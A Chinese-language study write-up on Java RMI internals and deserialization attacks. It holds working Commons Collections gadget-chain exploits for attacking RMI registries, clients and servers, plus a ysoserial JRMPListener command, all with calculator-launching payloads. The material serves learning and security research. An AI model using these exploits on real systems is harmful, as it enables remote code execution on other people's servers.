Java RMI 及其反序列化學習#
因為篇幅較長、JEP290 bypass 放在後面一篇文章中
前言#
網上已經有了很多關於此攻擊的文章,作為初學者,再次寫下這篇文章需要做哪些事,而不是一味的搬磚、炒冷飯
- 記錄、理解關於此內容的部分概念
- 記錄已有 poc、exp , 方便後續直接使用
- 在合適的地方書寫自己的思考、理解、代碼
- 理解攻擊思路、原理、自己理出 exp , 能幫助你回答上面試問題
這篇文章是比較長的,因為我習慣把每個調試步驟都寫進去,這樣再二次複習的時候才好解決疑惑,但這樣的缺點是無法快速獲取到核心需要的信息,所以最好是在前言就把面試需要問題或者挖洞需要的知識和思路給提煉出來
Java RMI 及其反序列化學習#
0x01 RMI 基礎#
RPC#
RPC(Remote Procedure Call)遠程過程調用,就是要像調用本地的函數一樣去調遠程函數。它並不是某一個具體的框架,而是實現了遠程過程調用的都可以稱之為 RPC。比如 RMI (Remote Method Invoke 遠程方法調用) 就是一個實現了 RPC 的 JAVA 框架.
java 代理#
代理模式#
代理模式是一種設計模式,提供了對目標對象額外的訪問方式,即通過代理對象訪問目標對象,這樣可以在不修改原目標對象的前提下,提供額外的功能操作,擴展目標對象的功能.
靜態代理#
這種代理方式需要代理對象和目標對象實現一樣的接口.
-
接口類: IUserDao.java
package static_proxy; public interface IUserDao { public void save(); }
-
目標對象: UserDao.java
package static_proxy; // 實現IUserDao接口 public class UserDao implements IUserDao{ @Override public void save() { System.out.println("保存數據"); } }
-
靜態代理對象:UserDapProxy.java
package static_proxy; // 也需要實現IUserDao接口 public class UserDapProxy implements IUserDao{ private IUserDao target; public UserDapProxy(IUserDao target) { this.target = target; } @Override public void save() { // 重寫方法 System.out.println("doSomething before"); // 執行前可以加的操作 target.save(); // 實際上需要調用的方法 System.out.println("doSomething after"); // 執行後可以加的操作 } }
-
測試類:TestProxy.java
package static_proxy; public class TestProxy { public static void main(String[] args) { // 目標對象 IUserDao target = new UserDao(); // 代理對象 UserDapProxy proxy = new UserDapProxy(target); // 通過代理調用方法 proxy.save(); } }
doSomething before
保存數據
doSomething after
可以看到在不修改原始對象的基礎上,在調用方法的前後新添加了功能,其實就是先實例化目標對象,然後在新的方法中調用目標對象的目標方法,這樣的缺點如下:
- 冗餘,由於代理對象要實現與目標對象一致的接口,會產生過多的代理類.
- 不易維護,一旦接口增加方法,目標對象與代理對象都要進行修改.
動態代理#
動態代理利用 JAVA 中的反射,動態地在內存中構建代理對象,從而實現對目標對象的代理功能。動態代理又被稱為 JDK 代理或接口代理。動態代理對象不需要實現接口,但是要求目標對象必須實現接口,否則不能使用動態代理.
-
動態代理對象:UserProxyFactory.java
package Dynamic_proxy; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; public class UserProxyFactory { private Object target; public UserProxyFactory(Object target) { this.target = target; } public Object getProxyInstance() { // 返回一個指定接口的代理類實例,該接口可以將方法調用指派到指定的調用處理程序。 return Proxy.newProxyInstance( target.getClass().getClassLoader(), // 指定當前目標對象使用類加載器 target.getClass().getInterfaces(), // 目標對象實現的接口的類型 new InvocationHandler() { // 事件處理器 @Override // 重寫InvocationHandler類的invoke方法,通過反射調用方法 public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println("doSomething before"); Object returnValue = method.invoke(target, args); System.out.println("doSomething after"); return null; } } ); } }
-
測試類:TestDynamicProxy.java
package Dynamic_proxy; import static_proxy.*; public class TestDynamicProxy { public static void main(String[] args) { IUserDao target = new UserDao(); System.out.println(target.getClass()); // 獲取目標對象信息 System.out.println(target.getClass().getSuperclass()); // 獲取目標對象的父類 System.out.println(target.getClass().getInterfaces()); // 獲取目標對象實現的接口 IUserDao proxy = (IUserDao) new UserProxyFactory(target).getProxyInstance(); // 獲取代理類 System.out.println(proxy.getClass()); // 獲取代理對象信息 proxy.save(); // 執行代理方法 } }
RMI#
RMI(Rmote Method Invoke)全名遠程方法調用。其實就是客戶端 (Client) 可以遠程調用服務端 (Server) 上的方法,JVM 虛擬機能夠遠程調用另一個 JVM 虛擬機中的方法,但是客戶端中並不是直接調用服務器上的方法的,而是會借助存根 (stub) 充當我們客戶端的代理,來訪問服務端,同時骨架 (Skeleton) 是另一個代理,它與真實對象一起在服務端上,骨架將接受到的請求交給服務器來處理,服務器處理完成之後將結果進行打包發送至存根 ,然後存根將結果進行解包之後的結果發送給客戶端
序列化傳輸#
RMI 在數據傳輸中的對象必須要實現 java.io.Serializable 接口,因為傳輸過程中都是進行序列化進行傳輸並且客戶端的 serialVersionUID 字段要與服務器端保持一致。下圖中的aced
就是反序列化的標誌
RMI 主要構成部分#
RMI 的主要由三部分組成
- RMI Registry 註冊表:服務實例將被註冊表註冊到特定的名稱中(可以理解為電話簿)
- RMI Server 服務端
- RMI Client 客戶端:客戶端通過查詢註冊表來獲取對應名稱的對象引用,以及該對象實現的接口
首先我們的 RMI Client 會遠程連接 RMI Registry(默認端口 1099),然後會在 Registry 尋找名字為 Test 的對象 (假設此時客戶端要調用 Test 對象中的某個方法),Registry 會尋找對應名字的遠程對象引用,並且序列化後進行返回(數據內容就是遠程對象的地址,這裡返回的對象就是前文提到的存根 stub),客戶端在接受到之後首先會在本機中的 classpath 進行查找,如果沒有找到則說明是遠程對象,客戶端就會與遠程地址進行 tcp 連接。
存根 (Stub) 和骨架 (Skeleton)#
當 RMI Server 啟動的時候端口是被隨機分配的,但是我們的 RMI Registry 端口是知道的
- 客戶端通過遠程連接 Registry 獲取存根 (Stub),存根 (Stub) 中包含了遠程對象的定位信息,如 Socket 端口、服務端主機地址等等,並實現了遠程調用過程中具體的底層網絡通信細節。
- 由於存根 (Stub) 是客戶端的代理類,所以客戶端可以調用 Stub 上的方法
- Stub 遠程連接到服務器,提交對應的參數
- 骨架 (Skeleton) 收到數據並對其進行反序列化,然後將發送給我們的 Server
- Server 執行之後將結果進行打包,傳輸給 Client
0x02 RMI Demo#
Server#
- 編寫一個實現 Remote 的接口
- 編寫一個繼承於 UnicastRemoteObject 的接口實現類
遠程對象的實現類必須要繼承自 UnicastRemoteObject,只有繼承了才能表示該類是一個遠程對象,如果不繼承的話我們就需要手動調用類中的 exportObject 靜態方法
Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class server {
public interface RMIinterface extends Remote {
String RmiDemo(String cmd) throws Exception;
}
public class RMIInstance extends UnicastRemoteObject implements RMIinterface {
protected RMIInstance() throws RemoteException {
super();
}
@Override
public String RmiDemo(String cmd) throws Exception {
Runtime.getRuntime().exec(cmd);
return "+OK";
}
}
}
Registry#
RMI Registry 就像一個 RMI 電話簿,你可以使用 Registry 來查找另一台主機上註冊的遠程對象的引用,我們可以在上面註冊一個 Name 到對象的綁定關係,但是 Registry ⾃己是不能執行遠程⽅法的,RMI Client 通過 Name 向 RMI Registry 查詢,得到這個綁定關係,然後再連接 RMI Server,最後遠程方法實際上在 RMI Server 上調用的。
// 創建並運行了Registry服務,且端口為1099
LocateRegistry.createRegistry(1099);
// Naming.bind 進行綁定,將rmIinterface對象綁定到Exp這個名字上, 第一个参数为一个为url,第二个参数則是我們的對象
Naming.bind("rmi://127.0.0.1/Exp",rmIinterface);
將 Server 和 Registry 進行組合:
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class server {
public interface RMIinterface extends Remote {
String RmiDemo(String cmd) throws Exception;
}
public class RMIInstance extends UnicastRemoteObject implements RMIinterface {
protected RMIInstance() throws RemoteException {
super();
}
@Override
public String RmiDemo(String cmd) throws Exception {
Runtime.getRuntime().exec(cmd);
return "+OK";
}
}
public void start() throws Exception {
RMIinterface rmIinterface =new RMIInstance();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1/Exp",rmIinterface);
}
public static void main(String[] args) throws Exception {
new server().start();
}
}
Client#
利用 Naming.lookup 找到對應的實例,然後調用方法,將 open -a Calculator 作為參數進行傳入
import java.rmi.Naming;
public class client {
public static void main(String[] args) throws Exception{
server.RMIinterface rmIinterface = (server.RMIinterface) Naming.lookup("rmi://127.0.0.1:1099/Exp");
String res = rmIinterface.RmiDemo("open -a Calculator");
System.out.println(res);
}
}
RMI 通信(Wireshark)#
在整個 RMI 通信流程中一共會進行兩次 TCP 連接
- 第一次會和 Registry:1099 建立一次 TCP 連接,Registry 返回存根(Stub)
- 第二次獲取到 Server 的地址後 (127.0.0.1:53763),利用存根調用遠程方法進行第二次 TCP 連接,所以方法調用就是在該 TCP 通信中
0x03 RMI 帶來的安全問題#
調用遠程惡意方法#
既然我們能夠利用 RMI 機制直接調用遠程方法,如果在 Server 端存在某些惡意方法,並且恰好又在 Registry 中註冊了,那麼我們豈不是可以直接調用遠程惡意方法進行攻擊?通常 RMI Registry 的默認端口為 1099,那麼在我們能夠訪問到 RMI Registry 的情況下我們可以做什麼?
- 嘗試綁定惡意對象 答案是不可以,只有來源地址是 localhost 的時候,才能調用 rebind、 bind、unbind 方法,但是我們可以使用 list 和 lookup 方法
- 利用 RMI 服務器上存在的惡意方法進行命令執行 我們可以首先通過 list 列出所有的對象引用,然後只要目標服務器上存在一些危險方法,我們通過 RMI 就可以對其進行調用,之前曾經有一個工具,其中一個功能就是進行危險方法的探測https://github.com/NickstaDB/BaRMIe
利用 codebase 執行命令#
簡單來說 codebase 就是遠程加載類的路徑,當對象在發送序列化的數據的時候會帶上 codebase 信息,當接受方在本地 classpath 中沒有找到類的話,就會去 codebase 所指向的地址加載類
在 RMI 中,我們是可以將 codebase 隨著序列化數據一起傳輸的,服務器在接收到這個數據後就會去 CLASSPATH 和指定的 codebase 尋找類,由於 codebase 被控制導致任意命令執行漏洞。
指定 codebase 方法:
java -Djava.rmi.server.codebase=http://url:8080/
#或者
java -Djava.rmi.server.codebase=http://url:8080/xxx.jar
同時,也可以在代碼中通過System.setProperty()
來設置系統屬性值
System.setProperty("java.rmi.server.codebase", "<http://url:8080/>");
所以官方也注意到了這一個安全隱患,所以只有滿足如下條件的 RMI 服務器才能被攻擊:
- 由於
Java SecurityManager
的限制,默認是不允許遠程加載的,如果需要進行遠程加載類,需要啟動RMISecurityManager
並且配置java.security.policy
。 - Java 版本低於 7u21、6u45,或者設置了 java.rmi.server.useCodebaseOnly=false
其中 java.rmi.server.useCodebaseOnly 是在 Java 7u21、6u45 的時候修改的一个默認設置:
https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/enhancements-7.html
https://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html
官方將 java.rmi.server.useCodebaseOnly 的默認值由 false 改為 true 。在 java.rmi.server.useCodebaseOnly 配置為 true 的情況下,Java 虛擬機將只信任預先配置好的 codebase ,不再支持從 RMI 請求中獲取。
RMI 反序列化攻擊#
RMI 的核心之一就是動態類加載。不管是 Client,Server 還是 Registry,當需要操作遠程對象的時候,就勢必會涉及到序列化和反序列化,假如某一端調用了重寫的readObject()
方法,那麼我們就可以進行反序列化攻擊了。
RMI 交互方式#
既然是反序列化,那就需要去尋找反序列化點,又是在 RMI 進行通訊的過程中,我們需要了解與各個對象交互的函數,先看與註冊中心交互的幾種方式
在 RMI 過程中,常常會涉及到以下 5 個交互方式,這幾種方法位於RegistryImpl_Skel.dispatch()
中,每種方式對應的 case 如下
- 0->bind
- 1->list
- 2->lookup
- 3->rebind
- 4->unbind
list
list 方法用來列出 Registry 上綁定的遠程對象
case 1:
var2.releaseInputStream();
String[] var79 = var6.list();
try {
ObjectOutput var81 = var2.getResultStream(true);
var81.writeObject(var79);
break;
} catch (IOException var75) {
throw new MarshalException("error marshalling return", var75);
}
沒有readObject()
無法利用
bind&rebind
bind
方法用來在 Registry 上綁定一個遠程對象,rebind
方法和bind
方法類似
case 0:
RegistryImpl.checkAccess("Registry.bind");
try {
var9 = var2.getInputStream();
var7 = (String)var9.readObject();
var80 = (Remote)var9.readObject();
} catch (ClassNotFoundException | IOException var77) {
throw new UnmarshalException("error unmarshalling arguments", var77);
} finally {
var2.releaseInputStream();
}
var6.bind(var7, var80);
try {
var2.getResultStream(true);
break;
} catch (IOException var76) {
throw new MarshalException("error marshalling return", var76);
}
case 3:
RegistryImpl.checkAccess("Registry.rebind");
try {
var9 = var2.getInputStream();
var7 = (String)var9.readObject();
var80 = (Remote)var9.readObject();
} catch (ClassNotFoundException | IOException var70) {
throw new UnmarshalException("error unmarshalling arguments", var70);
} finally {
var2.releaseInputStream();
}
var6.rebind(var7, var80);
try {
var2.getResultStream(true);
break;
} catch (IOException var69) {
throw new MarshalException("error marshalling return", var69);
}
可以看到bind
和rebind
方法中都含有readObject()
方法。如果服務端調用了bind
和rebind
方法,並且安裝了存在反序列化漏洞的相關組件,那麼這時候我們就可以進行反序列化攻擊。
lookup&unbind
lookup
方法用於獲取 Registry 上的一個遠程對象,unbind
用於解绑一個遠程對象
case 2:
try {
var8 = var2.getInputStream();
var7 = (String)var8.readObject();
} catch (ClassNotFoundException | IOException var73) {
throw new UnmarshalException("error unmarshalling arguments", var73);
} finally {
var2.releaseInputStream();
}
var80 = var6.lookup(var7);
try {
ObjectOutput var82 = var2.getResultStream(true);
var82.writeObject(var80);
break;
} catch (IOException var72) {
throw new MarshalException("error marshalling return", var72);
}
case 4:
RegistryImpl.checkAccess("Registry.unbind");
try {
var8 = var2.getInputStream();
var7 = (String)var8.readObject();
} catch (ClassNotFoundException | IOException var67) {
throw new UnmarshalException("error unmarshalling arguments", var67);
} finally {
var2.releaseInputStream();
}
var6.unbind(var7);
try {
var2.getResultStream(true);
break;
} catch (IOException var66) {
throw new MarshalException("error marshalling return", var66);
}
可以看到這兩個方法都含有readObject()
,不過為String
類,這裡我們不能直接利用,可以偽造連接請求進行利用。
攻擊註冊中心#
服務端和客戶端攻擊註冊中心的方式是相同的,都是遠程獲取註冊中心後傳遞一個惡意對象進行利用。
bind 和 rebind
服務端代碼:
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class Server {
public interface User extends Remote {
public String name(String name) throws RemoteException;
public void say(String say) throws RemoteException;
}
public static class UserImpl extends UnicastRemoteObject implements User{
protected UserImpl() throws RemoteException{
super();
}
public String name(String name) throws RemoteException{
return name;
}
public void say(String say) throws RemoteException{
System.out.println("you speak" + say);
}
}
public static void main(String[] args) throws Exception{
String url = "rmi://127.0.0.1:1099/User";
UserImpl user = new UserImpl();
LocateRegistry.createRegistry(1099);
Naming.bind(url,user);
System.out.println("RMI server is running");
}
}
客戶端:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class Client {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open -a Calculator"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //創建第一個代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //創建proxy對象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
registry.bind("test",r);
}
}
重點關注:
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
因為調用bind()
的時候無法傳入AnnotationInvocationHandler
類的對象,必須要轉為 Remote 類才行,Remote.class.cast 這裡實際上是將一個代理對象轉換為了 Remote 對象:
Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler)
上述代碼中創建了一個代理對象,這個代理對象代理了 Remote.class 接口,handler 為我們的 handler 對象。當調用這個代理對象的一切方法時,最終都會轉到調用 handler 的 invoke 方法。
而 handler 是 InvocationHandler 對象,所以當 r 被反序列化時,會進入 InvocationHandler 對象的 invoke 方法,在其 invoke 方法裡,同樣會觸發 memberValues 的 get 方法,此時的 memberValues 是 proxy_map,其也是一個代理類對象,所以會繼續觸發 proxy_map 的 invoke 方法,後邊的就是 cc1 的前半段內容了。
但是為什麼這裡又要先包裝一層代理對象,而不是直接轉為 Remote 類型
Remote.class.cast 可以參考:關於 JAVA 中的 Class.cast 方法 這個方法的作用就是強制轉換類型。反序列化過程參考:序列化和反序列化
但是這裡相當於是客戶端也在 127.0.0.1 上,所以才能 bind 一個惡意對象;實際在遠程是無法進行 bind 的。
unbind&lookup
這裡只能傳入一個 String,有兩種利用方式:
- 偽造連接請求
- rasp hook 請求代碼,修改發送數據
我們是先通過 getRegistry 得到 Registry_Stub 對象,然後才能調用 lookup 的,跟進一下:
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this,operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}
super.ref.invoke(var2);
Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
}
return var23;
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);
}
}
由於參數 var1 只能為 String 類,所以我們需要自己偽造實現 lookup 方法,並在var3.writeObject(var1);
中將我們的惡意類傳入。
我們可以模仿它重寫一個 lookup ,將惡意對象賦值給 var1 傳入。
POC:
package rmi.attack_reg;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;
public class client2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //創建第一個代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //創建proxy對象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
// 獲取ref
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
//獲取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
// 偽造lookup的代碼,去偽造傳輸信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(r);
ref.invoke(var2);
}
}
看似並沒有使用 lookup 方法,實則是通過偽造了 lookup 請求,重要的並不是 lookup 方法,主要是通過這個傳輸信息,再進入到之前提到的 dispatch 對應的分支進行反序列化。所以這個其實也不算是一種攻擊方法,只是一個思路。
攻擊 Client 端#
除了 unbind 和 rebind,其他的都會返回數據給客戶端,此時的數據是序列化的數據,所以客戶端自然也會反序列化,那麼我們只需要偽造註冊中心的返回數據,就可以達到攻擊客戶端的效果。
註冊中心攻擊客戶端
這裡 yso 的 JRMPListener 已經做好了,命令如下:
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 'open /System/Applications/Calculator.app'
除了list()
之外,其餘的操作都可以進行利用:
list()
bind()
rebind()
unbind()
lookup()
原理都大差不差,看到RegistryImpl_Stub.java#list
newCall
就是建立一個新的 TCP 連接方便後續的遠程調用,這裡對應registry.list();
, 我們想 list registry , ref.invoke
中this.releaseOutputStream();
會向 registry 發送這個請求,this.getInputStream();
獲取registry返回的數據
存儲到this.in
中,然後下面會執行 readobject 觸發攻擊
服務端攻擊客戶端
服務端攻擊客戶端,可以分為以下兩種情景。
- 可以使用 codebase
- 服務端返回參數為 Object 對象
這裡只看第二種,因為第一種前面已經說過,很難利用。
當服務端返回一個 Object 對象給客戶端的時候,客戶端會對這個 Object 對象反序列化,當遠程調用某個方法的時候,返回的是一個 Object 對象接口
接口
import java.rmi.Remote;
public interface User extends Remote {
public Object getUser() throws Exception;
}
惡意 UserImpl:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;
public class LocalUser extends UnicastRemoteObject implements User {
public LocalUser() throws RemoteException {
super();
}
public Object getUser() throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "/System/Applications/Calculator.app/Contents/MacOS/Calculator" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outmap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object instance = constructor.newInstance(Retention.class, outmap);
return instance;
}
}
惡意服務端:
import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.CountDownLatch;
public class Server {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException, NotBoundException {
User liming = new LocalUser();
Registry registry = LocateRegistry.createRegistry(8888);
registry.bind("user",liming);
System.out.println("registry is running...");
System.out.println("liming is bind in registry");
CountDownLatch latch=new CountDownLatch(1);
latch.await();
}
}
客戶端
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User) registry.lookup("user");
user.getUser();
}
}
就是調用遠程方法的結果返回了一个 Object 對象,然後返回到客戶端的時候進行反序列化
攻擊 Server 端#
當客戶端需要調用的遠程方法的參數中含有 Object 類,此時 Client 可以發送一個惡意的對象。由於遠程對象是以序列化形式進行傳輸的,Server 端接收的時候勢必會對其進行反序列化。如果 Server 端恰好安裝了含有漏洞的組件,此時我們就可以進行攻擊,下面我們來模擬一下。
其實這種方法本質還是傳遞給 Server 一個惡意對象,並且有以下利用條件
- Server 端有能夠傳遞 Object 對象的遠程方法
- Server 端安裝有包含反序列化漏洞的相關組件
服務端
package rmi.attack_server;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(3333);
User user = new UserImpl();
registry.bind("User", user);
System.out.println("rmi start at 3333");
}
}
package rmi.attack_server;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote {
String name(String name) throws RemoteException;
void say(String say) throws RemoteException;
void dowork(Object work) throws RemoteException;
}
package rmi.attack_server;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
// java.rmi.server.UnicastRemoteObject構造函數中將生成stub和skeleton
public class UserImpl extends UnicastRemoteObject implements User{
// 必須有一個顯式的構造函數,並且要拋出一個RemoteException異常
public UserImpl() throws RemoteException{
super();
}
@Override
public String name(String name) throws RemoteException{
return name;
}
@Override
public void say(String say) throws RemoteException{
System.out.println("you speak " + say);
}
@Override
public void dowork(Object work) throws RemoteException{
System.out.println("your work is " + work);
}
}
客戶端
package rmi.attack_server;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class client {
public static void main(String[] args) throws Exception{
String url = "rmi://127.0.0.1:3333/User";
User userClient = (User)Naming.lookup(url);
System.out.println(userClient.name("test"));
userClient.say("world");// 這裡會在server端輸出
userClient.dowork(getpayload());
}
public static Object getpayload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "test");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}
這裡在調試的時候其實遇到點問題,因為這裡是去攻擊 Server 端,所以我們需要重點關注的地方是和 Server 交互的地方,所以可以在UserImpl#dowork
處下斷點,但是當我在 client 處 debug 時發現,並不能跳到UserImpl#dowork
處,請教了下 zjj, 發現需要在 Server 處 debug, 因為他們屬於是兩個進程,dowork 執行的時候,其實就是 server 在等待 client 傳輸數據過來,所以需要在 server 處 debug, 調用棧如下:
dowork:22, UserImpl (rmi.attack_server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
dispatch:357, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1391780250 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
